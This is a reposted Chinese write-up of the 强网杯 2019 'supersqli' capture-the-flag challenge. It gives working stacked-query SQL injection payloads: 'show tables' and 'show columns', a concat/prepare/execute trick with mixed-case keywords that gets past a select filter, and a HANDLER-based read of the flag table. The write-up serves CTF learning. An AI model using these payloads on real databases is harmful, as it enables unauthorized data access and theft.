强网杯 2019[supersqli]
考點(diǎn):堆疊注入,通過(guò)set prepare 繞過(guò)select等一些可利用的限制
放入bp測(cè)試一下發(fā)現(xiàn)報(bào)錯(cuò),得知其為單引號(hào)閉合前面order by 還行order by 2 正常回顯?但3報(bào)錯(cuò)得知select中有兩個(gè)數(shù)據(jù)。
?第一時(shí)間想到的是聯(lián)合注入,結(jié)果:
?
?被過(guò)濾了,第一時(shí)間反應(yīng)下來(lái)是去繞過(guò)過(guò)濾,不得。通過(guò)其它大佬的wp得知這邊考點(diǎn)是堆疊注入。同時(shí)使得一個(gè)sql代碼一次性執(zhí)行兩條以上的sql命令。
在本機(jī)mysql測(cè)試 如:
select 1; ----- 1 ----- 1 -----select 1;select 2; ----- 1 ----- 1 ---------- 2 ----- 2 -----于是構(gòu)造pyload查表:
1' ;show tables--+?得到兩個(gè)表
?查看表中的列:
1' ;show columns from `1919810931114514`--+?注意:這里的``是表的專屬符號(hào)并非單引號(hào)。
看到flag也猜到了flag在這里面了,所以words表可以不管了,有興趣可以自己康康
為了繞過(guò)select可以使用mysql預(yù)處理語(yǔ)句繞過(guò),放一篇預(yù)處理的文章
MySQL 預(yù)處理語(yǔ)句prepare、execute、deallocate的使用_我的博客-CSDN博客
構(gòu)造的pyload:
1' ;set @sql=concat('sel','ect * from `1919810931114514`;');prepare errorr0 from @sql;EXECUTE errorr0;
結(jié)果又給過(guò)濾了:
?但是還好繞過(guò)簡(jiǎn)簡(jiǎn)單單,普通的大小寫(xiě)繞過(guò)
1' ;Set @sql=concat('sel','ect * from `1919810931114514`;');Prepare errorr0 from @sql;EXECUTE errorr0;--+也可以試試這個(gè)命令
1';handler 1919810931114514 open;handler 1919810931114514 read first;handler 1919810931114514 close;#HANDLER … OPEN語(yǔ)句打開(kāi)一個(gè)表,使其可以使用后續(xù)HANDLER … READ語(yǔ)句訪問(wèn),該表對(duì)象未被其他會(huì)話共享,并且在會(huì)話調(diào)用HANDLER … CLOSE或會(huì)話終止之前不會(huì)關(guān)閉。
?
?參考文章:攻防世界-web-高手進(jìn)階區(qū)017-supersqli - joker0xxx3 - 博客園
[GYCTF2020]Blacklist堆疊注入_浩歌已行的博客-CSDN博客
總結(jié)
以上是生活随笔為你收集整理的强网杯 2019[supersqli]的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 4:3与16:9 你了解多少?
- 下一篇: APP下架五大原因